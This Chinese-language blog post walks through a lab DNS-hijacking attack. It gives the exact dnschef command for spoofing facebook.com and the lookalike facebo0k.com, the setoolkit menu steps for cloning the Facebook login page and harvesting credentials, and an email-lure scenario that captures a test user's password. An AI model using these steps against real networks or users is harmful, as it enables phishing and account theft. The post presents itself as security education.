关于DNS的定义,作用,分类以及工作原理,小编已在【Windows Server 2019】DNS服务器的配置与管理——理论】这篇文章中陈述过。
声明
本博客不是在向大家展示这些攻击的方法,而是让大家尽可能的了解DNS攻击的手段以及如何采取必要的预防措施,来确保更安全地上网。
DNS劫持全称为域名服务器劫持,又称DNS重定向(DNS redirection)。它是一种DNS攻击手段,用户主机的DNS查询被错误解析,攻击者将用户的访问重定义到恶意网站中,以此来获取一些重要私人信息。
攻击者实施攻击时,要么在用户电脑上安装恶意软件,要么接管路由器,要么拦截或侵入DNS通信系统。
DNS劫持有四种基本类型
正常情况下,用户使用浏览器打开脸书登录,然后DNS服务器通过A记录访问脸书的服务器,返回合法登录网页。
当攻击者进行DNS劫持时,修改了用户电脑上的DNS服务器IP地址,将用户的流量重定向到攻击者自己的服务器中,用户在不知情的情况下,在恶意网站中输入了账户和密码,数据流量被转发到攻击者电脑中,从而用户私人信息泄露。
主机 | 系统 | IP地址 |
---|---|---|
攻击者 | Kali-Linux | 192.168.83.11 |
PC2 | Windows 10 | 192.168.83.39 |
攻击者和普通用户在同一局域网中,两者的IP均是通过DHCP服务器获得。
用户PC2中的浏览器中没有任何缓存(清空浏览器缓存)
普通用户的电脑上的DNS服务器IP地址在未被修改时,使用nslookup命令查看默认DNS服务器
在局域网内,普通用户电脑已经被入侵者修改了DNS设置,设置的IP为入侵者的主机IP:192.168.83.11
使用的工具是dnschef,该工具的使用方法具体请看《【KALI】DNS解析工具——Dnschef参数(中英对照)》这篇博文。打开kali终端,输入
┌──(kali㉿kali)-[~]
└─$ sudo dnschef --fakeip=192.168.83.11 --fakedomains=facebo0k.com,facebook.com --interface=0.0.0.0
通过截图可以看到,DNS劫持成功。原来www.facebook.com的IP地址为31.13.82.36,现在却是192.168.83.11(入侵者IP),显然DNS劫持成功。
使用 setoolkit 工具对脸书登录网页进行克隆。在终端中输入:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo setoolkit
进入setoolkit菜单界面,在set>后输入1,即选择Social-Engineering Attacks。然后按回车
接着输入2,即选择Website Attack Vectors。然后按回车
进入站点攻击菜单后,输入3,即Credential Harvester Attack Method。然后按回车
最后输入2,即Site Cloner。按回车
选择IP地址,默认为193.168.83.11,默认选择即可,按回车。
在红框处输入要克隆的网站域名,这里是https://www.facebook.com,按回车
当终端中显示蓝色字幕时,说明克隆站点成功。
使用setoolkit克隆的网站,会使用本地80号端口,因此只需要打开本地浏览器输入localhost或127.0.0.1或192.168.83.11,出现脸书登录站点说明克隆成功。
查看setoolkit命令终端,发现命令行中返回了一些参数,如下图所示
如果在PC2的浏览器中直接输入www.facebook.com,会显示连接失败。同时facebook会强制将http转成https,这样就无法访问facebook。因为这个原因,所以我们在使用dnschef命令时,设置了一个不存在的域名:facebo0k.com。
当PC2用户通过邮件收到伪造的facebook信件后,在不知情的情况下点击了www.facebo0k.com,浏览器会打开下图所示的网站。
网站内容和facebook登录界面完全一样,但是在URL栏我们可以看到火狐浏览器提示这是不安全连接(使用http协议)。而正常的facebook登录界面使用的是https协议。
PC2用户在不知情的情况下,输入了账户和密码,那么攻击者会从setoolkit终端中获取到这些信息。
在伪站中输入邮箱:hack@gmail.com;密码:hack45。点击登录后,再查看kali上的setoolkit终端信息。
点击登录后系统自动跳到脸书的真实URL,这里由于邮箱和密码是编造的,所以无法登录。通过下图可以看到kali后台中可以获取在PC2中输入的邮箱和密码。至此,攻击者获取到了PC2用户的私人信息。